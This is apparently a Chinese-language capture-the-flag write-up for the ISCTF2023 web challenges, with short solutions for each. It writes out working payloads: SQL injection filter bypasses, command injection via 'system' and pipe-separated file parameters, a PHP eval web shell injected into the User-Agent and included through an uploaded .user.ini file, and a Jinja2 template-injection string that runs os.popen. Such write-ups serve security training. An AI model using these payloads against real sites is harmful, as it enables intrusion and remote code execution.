[WP] ISCTF2023 Web 部分题解
圣杯战争!!!
反序列化+伪协议读取
where_is_the_flag
环境变量+根目录+当前目录
绕进你的心里
利用正则最大回溯绕过
easy_website
or select 用双写绕过 空格用/**/绕,报错注入
wafr
code=system('ca\t /f*')
webinclude
扫描得到index.bak备份文件打开为加密的代码 写个逆向脚本再反求parameter即可
JavaScript
const hash = 'dxdydxdudxdtdxeadxekdxea';
function string_to_int_array(str) {
const intArr = [];
for (let i = 0; i < str.length; i++) {
intArr.push(str.charCodeAt(i) - 97);
}
return intArr;
}
function int_array_to_string(int_array) {
let str = '';
for (let i = 0; i < int_array.length; i += 2) {
const charcode = int_array[i] * 26 + int_array[i + 1];
str += String.fromCharCode(charcode);
}
return str;
}
console.log(int_array_to_string(string_to_int_array(int_array_to_string(string_to_int_array(hash)))));
得到参数名 直接伪协议读取flag.php
ez_ini
ini文件上传 +UA头添加木马
.user.ini 文件:
GIF89A
auto_append_file="/var/log/nginx/access.log"
木马:
<?php @eval($_POST['wenda']);?
然后远程命令执行就行了
POST:
wenda=system('tac /flag');
注意一下上传ini文件的时候 type类型要改成image/jpeg 或者/image/png 类型】
或者直接ini 文件直接读取file:///flag 就行
auto_prepend_file=file:///flag
fuzz!
通配符【】绕过 字符过滤 管道符| 拼接命令
?file=|tac /fl[a-z]ggggggg.txt
恐怖G7人
ssti注入:
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}